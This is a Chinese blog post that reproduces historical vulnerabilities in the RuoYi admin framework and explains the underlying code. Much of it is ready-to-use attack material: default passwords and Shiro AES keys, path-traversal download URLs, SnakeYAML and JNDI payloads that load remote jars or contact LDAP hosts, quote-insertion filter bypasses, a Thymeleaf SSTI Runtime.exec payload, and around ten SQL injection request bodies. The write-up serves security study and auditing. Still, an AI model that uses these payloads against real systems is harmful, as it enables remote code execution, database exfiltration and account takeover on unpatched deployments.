首页 > 其他分享 >RuoYi框架部分历史漏洞

RuoYi框架部分历史漏洞

时间:2024-09-08 09:13:26浏览次数:1  
标签:java system 框架 ruoyi RuoYi 漏洞 role user id

RuoYi框架部分历史漏洞

生产环境搭建(代码审计)

项目地址:若依 (y_project) - Gitee.com

官方文档:RuoYi

项目构成

因为RuoYi框架是基于SpringBoot搭建的,所以我们启动项目时不用像SpringMVC那样去配置我们的服务器然后把项目放到服务器上启动。我们成功导入项目之后会生成一些文件夹存放对应的代码文件,每一个文件夹都代表着不同的功能。

ruoyi-admin:全局配置

ruoyi-common:存放通用的工具包以及工具类

ruoyi-franmework:存放框架核心代码

ruoyi-generator:存放代码生成模块的代码

ruoyi--quartz :任务调度模块

ruoyi-system:项目业务开放模块

ruoyi-ui:前端代码模块

sql:存放项目功能数据脚本

1. IntelliJ IDEA【打开和管理 Ruoyi 项目的后端代码】
2. Node.js 和 npm【管理前端代码的依赖和构建】
3. Apache Maven【管理后端 Java 代码的构建和依赖】


PS C:\Users\Administrator> node -v
PS C:\Users\Administrator> npm -v
PS C:\Users\Administrator> mvn -version
PS C:\Users\Administrator> java -version
PS C:\Users\Administrator> javac -version
MySQL5.7.26
redis3.0.504

构建过程

  • 前端/后端配置
  • 数据库账号密码以及数据的导入
  • 端口
  • 前后端独立运行/jar包运行

若依说明

若依能够流行起来,主要得益于以下几个方面的优势:1、基于Spring Boot;2、可视化代码生成;3、丰富的组件和插件;4、前后端分离;5、安全性

SpringBoot框架

Spring Boot是一款开箱即用框架,提供各种默认配置来简化项目配置。让我们的Spring应用【Spring是一个轻量级Java开发框架】变的更轻量化、更快的入门。

Spring Boot 优点非常多,如:1、独立运行;2、简化配置;3、自动配置;4、无代码生成和XML配置;5、应用监控

漏洞说明

RuoYi历史漏洞包括Shiro反序列化漏洞、SSTI漏洞、SQL注入、默认口令、任意文件下载、定时任务远程RCE等。

其中,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。

测试版本

RuoYi-v4.5.0

image-20240825160458063

RuoYi-v4.7.0

image-20240825160547927

RuoYi-v4.7.1

image-20240825160627385

RuoYi-v4.7.8

image-20240825160706213

1、默认口令(全版本)

很多时候开发人员的安全意识不足,可能存在未修改管理员密码的情况这样我们就能利用RuoYi的默认口令,进行登陆。

  • 不过在大多数情况下,开发者通常都会修改超级管理员的密码,而普通用户ry则可能忘记删除。

  • RuoYi默认口令:admin/admin123、ry/admin123;druid控制台:ruoyi/123456

image-20240825160917600

image-20240825160925291

druid说明

项目地址:https://github.com/alibaba/druid

Druid是Java语言中最好的、开源的、高性能的、配置最简单的数据库连接池。Druid能够提供强大的监控和统计、防SQL注入、高性能、富的配置选项等。

要在Java应用程序中使用Druid连接池,首先需要添加Druid的依赖。如果使用Maven,可以在pom.xml中添加以下依赖:

image-20240823095508544

基本的Druid配置示例:application-druid.yml

image-20240825163050155

2、Shiro反序列化(RuoYi<V4.6.2)

复现版本:4.5.0

Shiro说明

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。

Shiro反序列化漏洞

Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

Payload产生的过程:命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值。在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

若依上的利用

ruoyi使用的shiro的高版本,可以自定义密钥,但是由于开发者安全意识不强,在使用ruoyi开发框架时并未更改ruoyi代码中默认的密钥,这同样会导致shiro反序列化漏洞。

  • RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式
  • RuoYi-4.2可用利用链为CommonsBeanutilString这条链
  • RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。

RuoYi各版本的AES默认密钥

RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==

漏洞复现

image-20240825164543153

image-20240825164551326

4.5.0版本的密钥:

image-20240825164601861

RuoYi > V-4.6.2版本:

image-20240825164644950

3、后台任意文件下载漏洞

除了手动测试该漏洞,该可以通过postman接口调试工具来实现

RuoYi<V-4.5.1

复现版本:4.5.0

该漏洞是由于在RuoYi低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。

  • 接口位置com/ruoyi/web/controller/common/CommonController.java

image-20240825171109897

  • 文件下载默认路径ruoyi-admin\src\main\resources\application.yml
  • E:\Users\Desktop\RuoYi-v4.5.0

image-20240825165908105

  • 路径前缀(即接收输入参数路径的前缀),因此接口即为 /common/constant/Constant

image-20240825170915051

复现过程

添加请求参数接口 + resource=/profile/1.txt

http://127.0.0.1:83/common/download/resource?resource=/profile/../../../../../../123.txt
http://127.0.0.1:83/common/download/resource?resource=/profile/123.txt

image-20240823102943264

image-20240823103302262

RuoYi<V4.7.8(定时绕过思路)

复现版本:4.7.0

在RuoYi定时任务中可以设置全局环境变量,而资源下载路径,也属于全局变量的范围,因此我们可以通过定时任务修改全局变量中的默认资源下载路径。

  • 以此来绕过必须使用resource来下载资源文件的方式。

    接口为ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java

image-20240825171331083

  • 具体思路入下:例如我们可以添加一个定时任务,任务为 ruoYiConfig.setProfile('C://windows/win.ini') ,也就是将默认下载资源路径更改为该路径,如此resource再输入任意可通过文件类型检测,且不存在前缀路径即可直接下载该文件。

复现过程

# 调用定时任务

调用目标字符串:ruoYiConfig.setProfile('c://1.txt')
cron表达式:0/10 * * * * ?

image-20240825172838906

下载

http://127.0.0.1:70/common/download/resource?resource=C://1.txt

image-20240826170924270

4、定时任务远程RCE

SnakeYaml反序列化(RuoYi<V-4.6.2)

复现版本:4.5.0

漏洞分析

通常只要引用了Snakeyaml包的几乎都可进行反序列化

https://www.cnblogs.com/nice0e3/p/14514882.html

若依后台RCE到snakeyaml反序列化 | Gta1ta's Blog (myblog.ac.cn)

文件:pom.xml(rouyi-common)

image-20240826002350237

漏洞复现

下载yaml反序列化payload工具

  • 该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。

  • 下载完工具后将src/artsploit/AwesomeScriptEngineFactory.java文件中的Runtime执行语句改为你要执行的命令

1、修改AwesomeScriptEngineFactory.java文件

image-20240825174032711

2、在工具根目录,使用JAVA编译AwesomeScriptEngineFactory.java文件,并且打包为jar,命令如下

javac src/artsploit/AwesomeScriptEngineFactory.java    # 编译java文件
jar -cvf yaml-payload.jar -C src/ .              # 打包成jar包

image-20240825174105582

3、在工具根目录,编写yaml-payload.yml文件

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
     !!java.net.URL ["http://127.0.0.1:55555/yaml-payload.jar"]
  ]]
]

image-20240825174235553

4、直接在yaml-payload-master目录下使用python起一个http服务

image-20240825174252145

5、然后进入若依后台,添加一个计划任务

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:55555/yaml-payload.jar"]]]]')


cron表达式:
0/10 * * * * ?
这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间

image-20240825174307086

6、计划任务启动之后,即可执行命令calc

image-20240825174313257

JNDI注入之LDAP注入(定时)(RuoYi<V-4.6.2)

复现版本:4.5.0

DNSlog生成一个反连域名:wzcfzygueq.yutu.eu.org

javax.naming.InitialContext.lookup('ldap://wzcfzygueq.yutu.eu.org')

image-20240826003533404

高版本定时绕过策略(V-4.6.2-V-4.7.1)

复现版本:4.7.0

在V-4.6.2-V-4.7.1版本中RuoYi添加了对ldaprmi以及http字符串的过滤

  • ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

image-20240826003850541

但是可通过添加单引号的方式来绕过。例如http就可以改为ht'tp,rmi可以改为r'mi,ldap改为l'dap,以此来绕过字符串检测

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ht'tp://127.0.0.1:55555/yaml-payload.jar"]]]]'')

image-20240826004002173

image-20240826004005957

添加” ' “绕过,只需要在协议字符串中间添加一个“ ' ”即可,那么所有目标调用字符串可更改为

  • rmi: org.springframework.jndi.JndiLocatorDelegate.lookup('r'mi://192.168.126.1:8888/Calc')
  • ldap: javax.naming.InitialContext.lookup('ld'ap://192.168.126.1:8888/#Calc')
  • SnakeYaml:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ht'tp://192.168.126.1:8000/yaml-payload.jar"]]]]')

高版本JNDI注入之LDAP注入(定时+sql+rce)

复现版本:4.7.8

javax.naming.InitialContext.lookup('ldap://urzflbzmos.dgrh3.cn')

0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f75727a666c627a6d6f732e64677268332e636e2729

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f75727a666c627a6d6f732e64677268332e636e2729 WHERE job_id = 2;')

image-20240826004225253

直接写入是不允许的,带上绕过也不行,但是可以通过sql注入的方式写入

image-20240826004232727

5、SSTI(Thymeleaf模板注入)注入漏洞(仅适用V-4.7.1)

Thymeleaf说明

Thymeleaf 是一款用于渲染 XML/XHTML/HTML5 内容的模板引擎。它与 JSP,Velocity,FreeMaker 等模板引擎类似,也可以轻易地与 Spring MVC 等 Web 框架集成。与其它模板引擎相比,Thymeleaf 最大的特点是,即使不启动 Web 应用,也可以直接在浏览器中打开并正确显示模板页面 。

漏洞分析

在RuoYi的ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.javaruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java下存在可控的return字段,且由于RuoYi使用的是thymeleaf视图渲染组件,因此可进行SSTI模板注入

其中可注入的接口包括:/getNames、/getKeys、/getValue、/localrefresh/task接口满足条件。

payload构建:

  • 构建fragment参数payload,由于系统未对fragment参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式,使用${}注入执行表达式,T()访问java类和静态访问。因此构建payload:${T(java.lang.Runtime).getRuntime().exec("calc.exe")}
  • 由于thymeleaf高版本对T()进行了一些限制,不过可通过在T(增加空格的办法进行绕过。因此构建payload:${T (java.lang.Runtime).getRuntime().exec("calc.exe")} 增加空格

image-20240826104515142

漏洞复现

image-20240826104245136

# 构建payload
${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

image-20240826103953883

6、sql注入漏洞

注入点1 /system/role/list接口(<V-4.6.2)

复现版本:4.5.0

image-20240823161856679

pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=

&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
&params[dataScope]=and extractvalue(1,concat(0x7e,(select user()),0x7e))

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823161616830

空包也可以

image-20240823162122732

代码审计

image-20240823163540307

我们先查看SysRole类是否可接受该dataScope

ruoyi-system\src\main\java\com\ruoyi\system\domain\SysRole.java

在这个SysRole中我们并没有看到定义dataScope的属性

image-20240823163644650

  • 其实这个值是继承自BaseEntity

image-20240823163721445

我们从BaseEntity中可以看到定义了一个HashMap可接收键值对,因此我们才能注入参数 params[dataScope]

image-20240823163912933

我们再重新回到controller的调用逻辑,可以看到调用了服务层的roleService.selectRoleList方法

继续跟进到服务层ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysRoleServiceImpl.java

持久层roleMapper调用selectRoleList方法

image-20240823164202226

最后再跟进到Mapper配置文件

ruoyi-system\src\main\resources\mapper\system\SysRoleMapper.xml

可以看到这里使用了${}危险参数注入方式,相当与参数拼接,因此在这必定存在SQL注入。

image-20240823164258326

我们通过发送payload看一下具体执行的是什么样的sql语句

SELECT DISTINCT r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark FROM sys_role r LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id LEFT JOIN sys_user u ON u.user_id = ur.user_id LEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHERE r.del_flag = '0' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))

完整语句

SELECT
	count( 0 ) 
FROM
	(
	SELECT DISTINCT
		r.role_id,
		r.role_name,
		r.role_key,
		r.role_sort,
		r.data_scope,
		r.STATUS,
		r.del_flag,
		r.create_time,
		r.remark 
	FROM
		sys_role r
		LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id
		LEFT JOIN sys_user u ON u.user_id = ur.user_id
		LEFT JOIN sys_dept d ON u.dept_id = d.dept_id 
	WHERE
		r.del_flag = '0' 
		AND extractvalue (
		1,
	concat( 0x7e, substring(( SELECT DATABASE()), 1, 32 ), 0x7e ))) table_count

注入点2 /system/role/export接口(<V-4.6.2)

复现版本:4.5.0

roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&orderByColumn=roleSort&isAsc=asc

roleName=&roleKey=&status=&params%5BbeginTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823165312718

image-20240823165426601

注入点3 /system/user/list接口(<V-4.6.2)

复现版本:4.5.0

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823165704204

同理该SQL注入漏洞产生原因和上面两个接口一致,不过这次是由于selectUserList的配置xml使用了${}进行参数注入导致。若要分析具体逻辑请参照上一注入点ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysUserController.java

image-20240823165839980

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240823171258730

ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240823171342405

注入点4 /system/user/export接口(<V-4.6.2)

复现版本:4.5.0

deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&orderByColumn=createTime&isAsc=desc

deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&orderByColumn=createTime&isAsc=desc&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823171627584

注入点5 /system/dept/list接口(<V-4.6.2)

复现版本:4.5.0

如果抓到包没有Content-Type注意添加POC时一定要加上:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
否则后端无法识别请求体类型,那么参数就无法注入。

&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240823171855778

代码审计:

controller接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java

image-20240823172856856

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java

image-20240823173000281

\ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

image-20240823173028606

sql的执行代码

SELECT
	d.dept_id,
	d.parent_id,
	d.ancestors,
	d.dept_name,
	d.order_num,
	d.leader,
	d.phone,
	d.email,
	d.STATUS,
	d.del_flag,
	d.create_by,
	d.create_time 
FROM
	sys_dept d 
WHERE
	d.del_flag = '0' 
	AND extractvalue (
		1,
	concat( 0x7e,( SELECT DATABASE ()), 0x7e )) 
ORDER BY
	d.parent_id,
	d.order_num

注入点6 /system/role/authUser/allocatedList接口(<V-4.6.2)

复现版本:4.5.0

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240824000514763

代码审计:

接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java

image-20240824000715653

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240824000747301

ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240824000834739

SELECT DISTINCT
	u.user_id,
	u.dept_id,
	u.login_name,
	u.user_name,
	u.user_type,
	u.email,
	u.avatar,
	u.phonenumber,
	u.STATUS,
	u.create_time 
FROM
	sys_user u
	LEFT JOIN sys_dept d ON u.dept_id = d.dept_id
	LEFT JOIN sys_user_role ur ON u.user_id = ur.user_id
	LEFT JOIN sys_role r ON r.role_id = ur.role_id 
WHERE
	u.del_flag = '0' 
	AND r.role_id =  '0'
	AND extractvalue (1,concat(0x7e,(SELECT DATABASE ()), 0x7e))

注入点7 /system/role/authUser/unallocatedList接口(<V-4.6.2)

复现版本:4.5.0

image-20240824101820556

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=4&loginName=

&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=4&loginName=&phonenumber=&params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240824101731372

ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java

image-20240824102308020

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240824102346175

ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240824102423439

SELECT DISTINCT
	u.user_id,
	u.dept_id,
	u.login_name,
	u.user_name,
	u.user_type,
	u.email,
	u.avatar,
	u.phonenumber,
	u.STATUS,
	u.create_time 
FROM
	sys_user u
	LEFT JOIN sys_dept d ON u.dept_id = d.dept_id
	LEFT JOIN sys_user_role ur ON u.user_id = ur.user_id
	LEFT JOIN sys_role r ON r.role_id = ur.role_id 
WHERE
	u.del_flag = '0' 
	AND ( r.role_id != '0' OR r.role_id IS NULL ) 
	AND u.user_id NOT IN (
	SELECT
		u.user_id 
	FROM
		sys_user u
		INNER JOIN sys_user_role ur ON u.user_id = ur.user_id 
	AND ur.role_id = '0') 
	AND extractvalue (
	1,
	concat( 0x7e,( SELECT DATABASE ()), 0x7e ))
# 将?占位符改为标识符'0'即可
SELECT DISTINCT u.user_id, u.dept_id, u.login_name, u.user_name, u.user_type, u.email, u.avatar, u.phonenumber, u.status, u.create_time FROM sys_user u LEFT JOIN sys_dept d ON u.dept_id = d.dept_id LEFT JOIN sys_user_role ur ON u.user_id = ur.user_id LEFT JOIN sys_role r ON r.role_id = ur.role_id WHERE u.del_flag = '0' AND (r.role_id != '0' OR r.role_id IS NULL) AND u.user_id NOT IN (SELECT u.user_id FROM sys_user u INNER JOIN sys_user_role ur ON u.user_id = ur.user_id AND ur.role_id = '0') AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))

注入点8 /system/dept/edit接口(<V-4.6.2)

复现版本:4.5.0

在下图界面,点击编辑后要点击确认后才能抓到包

image-20240824002551343

deptId=101&parentId=100&parentName=%E8%8B%A5%E4%BE%9D%E7%A7%91%E6%8A%80&deptName=%E6%B7%B1%E5%9C%B3%E6%80%BB%E5%85%AC%E5%8F%B8&orderNum=1&leader=%E8%8B%A5%E4%BE%9D&phone=15888888888&email=ry%40qq.com&status=0
DeptName为任意不存在的名称,DeptId为数据库中存在ID,ParentId为任意数字,其余参数固定。其中ancestors注入参数不能超过50个字符。

post数据全部替换成下面内容:
DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

image-20240824002454848

代码审计:

接口:ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java

image-20240824002800835

ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java

image-20240824002850384

image-20240824002907508

ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

image-20240824002954413

注入点在updateDeptStatus SQL中的 where dept_id in (${ancestors}) 这条语句中,因此我们需要其执行deptMapper.updateDeptStatus() 方法

这个方法是又由updateParentDeptStatus方法调用。再到updateParentDeptStatus方法中。因此我们得出一下结论

image-20240826151215228

image-20240826151130089

因此我们传入得Status必须为 0否则无法执行到updateParentDeptStatus方法

再重新回到controller方法中

image-20240824003051831

因此通过controller方法我们要执行到我们得注入点,必须满足上级部门不能是自己,即 DeptId不等于ParentId,以及部门名称不能是已经存在得部门名称,即DeptName定义参数数据库中不存在。且我们通过SysDept定义得对象实体中知orderNum的值不能为空。com/ruoyi/system/domain/SysDept.java

image-20240826145811323

在sql\ry_20201017.sql。由于ancestors的值为varchar(50),因此输入的字符串长度不能超过50个字符

image-20240826145624914

总结所有条件得出payload:

  1. Status必须为 0,即Status=0
  2. 上级部门不能是自己,即DeptId!=ParentId
  3. 部门名称不能是已经存在得部门名称,即DeptName定义参数数据库中不存在
  4. orderNum的值不能为空,即orderNum != ''
  5. ancestors字符长度小于50
  6. 附加:由于是edit,因此接口DeptId必须是数据库中能查到的部门ID

DeptName=xxxxxxxxxxx&DeptId=100&ParentId=99999&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

UPDATE sys_dept 
SET STATUS = '0',
update_by = '1',
update_time = sysdate() 
WHERE
	dept_id IN ( 0 ) 
	OR (
		extractvalue (
			1,
			concat(
				0,(
			SELECT USER
	()))));#)

注入点9 /tool/gen/createTable接口(V-4.7.1-V-4.7.5)

漏洞复现(V-4.7.1)

从4.7.1版本开始,ruoyi添加了一个新接口,可以执行建表语句,但由于过滤不严谨导致,用户可注入其他的sql语句导致sql注入漏洞。

接口路径:ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java

代码使用MySqlCreateTableStatement来判断,用户输入sql语句是否为建表语句,如果不是建表语句则抛出异常,并返回。

因此我们可以通过先输入一个建表语句,然后我们可以使用as拼接其他的sql语句(使用as重命名表的方式来添加select语句,需要注意的是a1为创建的表名,因此a1必须自定义的一个不存在的表名),毕竟可以直接传入sql语句,注入的方式非常灵活绕过检测。

sql=CREATE table a1 as SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));

sql=CREATE table a1 as SELECT * FROM sys_user WHERE 1=1 union SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));

在点击确认后即可抓到想要的数据包

image-20240824093942063

image-20240824094008835

代码审计:

接口路径:ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java

image-20240824094529169

注入点10 定时任务sql注入

复现版本:4.7.1

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'carmi' WHERE job_id = 1;')

* * * * * ?

image-20240824103840343

两种大版本的区别

1、相比与RuoYi前后端不分离版本,前后端分离VUE版本的可利用漏洞更少。

2、由于VUE版本使用的是SpringSecurity安全框架未使用shiro框架,因此不存在shiro反序列化漏洞。

3、VUE版本未使用thymeleaf视图渲染组件,因此也不存在SSTI模板注入。

4、并且由于默认情况下VUE版本,对于/export和/list,均使用的是get请求,不支持post请求,无法通过请求参数注入params-dataScope参数。虽然VUE版本在3.7.0开始在/export接口使用post进行传参,但是可惜的是VUE在3.6.0版本就加入了clearDataScope方法来清空dataScope的值,因此这个注入点在VUE全版本均不可利用(二次开发者未修改请求类型的情况下)。

标签:java,system,框架,ruoyi,RuoYi,漏洞,role,user,id
From: https://www.cnblogs.com/carmi/p/18402581

相关文章

  • 「漏洞复现」全程云OA AttachFile/UploadFile 任意文件上传漏洞
    0x01 免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需......
  • 【鸿蒙实战开发】基于加解密算法框架的常见规格问题
    往期知识点整理鸿蒙(HarmonyOS)北向开发知识点记录~【鸿蒙实战开发】ArkTS多线程的多线程系列(一):ArkTS多线能力入门【鸿蒙实战开发】ArkTS多线程的多线程系列(二):基于Sendable共享对象实现跨线程通信及UI状态刷新【鸿蒙实战开发】ArkTS多线性的多线程系列(三):基于单例实现跨......
  • tkinter搭建GUI软件框架并创建不同的Frame界面实现不同的功能
    引言    在本篇博客中,小编要带大家解决的问题是如何创建一个软件窗口对象,并在窗口顶部菜单中通过按钮实现不同Frame界面的切换,在不同的Frame页面中实现访问路径等不同的功能,其中每行代码代表的意思,小编也在相应代码后面进行了注释,此外,代码在排版上也非常规范,各位小可爱......
  • 基于python+flask框架的手机电子商城平台设计(开题+程序+论文) 计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着移动互联网技术的飞速发展,智能手机已成为人们日常生活中不可或缺的一部分。消费者对于手机的需求日益多样化,不仅关注手机的性能、品牌......
  • 基于python+flask框架的基于Web的智能导诊系统(开题+程序+论文) 计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着医疗需求的日益增长和医疗资源的有限性,患者在就医过程中常面临挂号难、找对科室难、等待时间长等问题。传统医疗导诊模式已难以满足患......
  • Java反序列化漏洞-TemplatesImpl利用链分析
    目录一、前言二、正文1.寻找利用链2.构造POC2.1生成字节码2.2加载字节码1)getTransletInstance2)defineTransletClasses2.3创建实例3.完整POC三、参考文章一、前言java.lang.ClassLoader#defineClassdefineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻......
  • 前端框架有哪些?以及每种框架的详细介绍
    目录前言1.React2.Vue.js3.Angular4.Bootstrap5.Foundation总结前言前端框架是Web开发中不可或缺的工具,它们为开发者提供了丰富的工具和抽象,使得构建复杂的Web应用变得更加容易。当前,前端框架种类繁多,其中一些最受欢迎的框架包括React、Vue.js、Angular、Boots......
  • 众诚网上订单系统 o_sa_order.ashx SQL注入漏洞复现
    1产品简介众诚网上订单系统通过集成互联网技术和先进的管理思想,为生产制造企业、多分销渠道的批零兼营、各类商贸批发业务提供了一站式的订单管理解决方案。该系统支持电脑PC、平板、手机APP同步操作,实现了订单、商品、客户、资金、信息、支付、物流和电子商务的全方位连接,......
  • U3D德州工程源码带视频教程带控服务端打包透视客户端u3d打包java后端Spring Boot框架
    U3D德州工程源码带控服务端打包透视客户端u3d打包java后端SpringBoot框架实现技术安卓苹果U3D开发,C#语言后端java SpringBo完整开源不加密,搭建视频教程https://www.bilibili.com/video/BV1PnHLewEkZ/长达八十分钟的搭建教程......
  • 华为鸿蒙手机安装好谷歌商店,GMS服务,谷歌三件套,谷歌框架后,下载的一些应用无法正常定位,
    最近有有小伙伴问为什么他下载好一些定位的软件,能正常的进入,定位权限也是开启的,但是就是定不了位,,给我们小伙伴带来了烦恼,那我们怎么解决呢?我这里给大家讲解一下,避免大家以后遇见后不知道怎么去解决解决方法1.首先我们需要在我们的手机设置里面找到我们的应用和服务,进去后点......